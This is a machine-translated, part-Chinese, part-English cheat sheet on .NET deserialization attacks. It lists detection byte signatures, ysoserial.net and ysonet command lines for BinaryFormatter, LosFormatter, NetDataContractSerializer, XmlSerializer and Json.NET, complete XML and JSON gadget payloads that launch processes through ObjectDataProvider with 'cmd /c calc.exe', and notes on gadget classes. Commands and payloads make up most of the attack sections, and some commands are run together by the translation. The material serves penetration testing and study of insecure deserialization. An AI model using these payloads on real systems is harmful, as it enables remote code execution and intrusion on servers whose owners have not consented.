.NET反序列化


文档摘要

.NET 反序列化 .NET 序列化是将对象的状态转换为易于存储或传输的格式的过程,例如 XML、JSON 或二进制格式。这些序列化的数据可以保存到文件中、通过网络发送,或存储在数据库中。稍后,可以通过反序列化过程将数据恢复为原始对象,且数据保持完整。在 .NET 中,序列化广泛用于缓存、应用程序间的数据传输以及会话状态管理等场景。 概要 检测 工具 格式化程序 XmlSerializer DataContractSerializer NetDataContractSerializer LosFormatter JSON.NET BinaryFormatter POP 小工具 参考文献 检测 数据 | 描述 (Hex) | .NET BinaryFormatter (Hex) | .

.NET 反序列化

.NET 序列化是将对象的状态转换为易于存储或传输的格式的过程,例如 XML、JSON 或二进制格式。这些序列化的数据可以保存到文件中、通过网络发送,或存储在数据库中。稍后,可以通过反序列化过程将数据恢复为原始对象,且数据保持完整。在 .NET 中,序列化广泛用于缓存、应用程序间的数据传输以及会话状态管理等场景。

概要

检测

数据 描述
AAEAAD (Hex) .NET BinaryFormatter
FF01 (Hex) .NET ViewState
/w (Base64) .NET ViewState

示例:AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=

工具

  • pwntester/ysoserial.net - 适用于多种 .NET 格式化程序的反序列化载荷生成器

    cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
  • irsdl/ysonet - 适用于多种 .NET 格式化程序的反序列化载荷生成器

    cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s ./ysonet.exe -p DotNetNuke -m read_file -f win.ini ./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t ./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

格式化程序

NETNativeFormatters.png
来自 pwntester/attacking-net-serialization 的 .NET 原生格式化程序

XmlSerializer

  • 在 C# 源代码中,查找 XmlSerializer(typeof(<TYPE>));
  • 攻击者必须控制 XmlSerializer 的 类型
  • 载荷输出:XML
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe" <?xml version="1.0"?> <root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]> </anyType> </MethodParameters> <ObjectInstance xsi:type="XamlReader"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfXamlReaderObjectDataProvider> </root>

DataContractSerializer

DataContractSerializer 以松耦合的方式进行反序列化。它从传入的数据中从不读取公共语言运行时 (CLR) 类型和程序集名称。DataContractSerializer 的安全模型与 XmlSerializer 类似,主要在细节上有所不同。例如,XmlIncludeAttribute 属性用于包含类型,而不是 KnownTypeAttribute 属性。

  • 在 C# 源代码中,查找 DataContractSerializer(typeof(<TYPE>)).
  • Payload output: XML
  • Data Type must be user-controlled to be exploitable

NetDataContractSerializer

It extends the System.Runtime.Serialization.XmlObjectSerializer class and is capable of serializing any type annotated with serializable attribute as BinaryFormatter.

  • In C# source code, look for NetDataContractSerializer().ReadObject()
  • 载荷输出:XML
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t

LosFormatter

  • 内部使用 BinaryFormatter
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t

JSON.NET

  • 在 C# 源代码中,查找 JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings
  • 载荷输出:JSON
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }

BinaryFormatter

BinaryFormatter 类型非常危险,不建议用于数据处理。即使应用程序认为正在处理的数据是可信的,也应尽快停止使用 BinaryFormatter。BinaryFormatter 不安全,且无法使其变得安全。

  • 在 C# 源代码中,查找 System.Runtime.Serialization.Binary.BinaryFormatter.
  • Exploitation requires [Serializable] or ISerializable 接口。
  • 载荷输出:二进制
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

POP 小工具

这些小工具必须具备以下属性:

  • 可序列化
  • 公有/可设置的变量
  • “魔术”函数:Get/Set、OnSerialisation、构造函数/析构函数

您必须为特定的 格式化程序 精心选择您的 小工具

常见载荷中使用的一些热门小工具列表。

  • 来自 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll

    • Use MethodParameters to set arbitrary parameters
    • Use MethodName to call an arbitrary function
  • ExpandedWrapper

    • Specify the object types 的封装对象中的 ObjectDataProvider
    ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
  • System.Configuration.Install.AssemblyInstaller

    • 使用 Assembly.Load 执行载荷
    // System.Configuration.Install.AssemblyInstaller public void set_Path(string value){ if (value == null){ this.assembly = null; } this.assembly = Assembly.LoadFrom(value); }

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U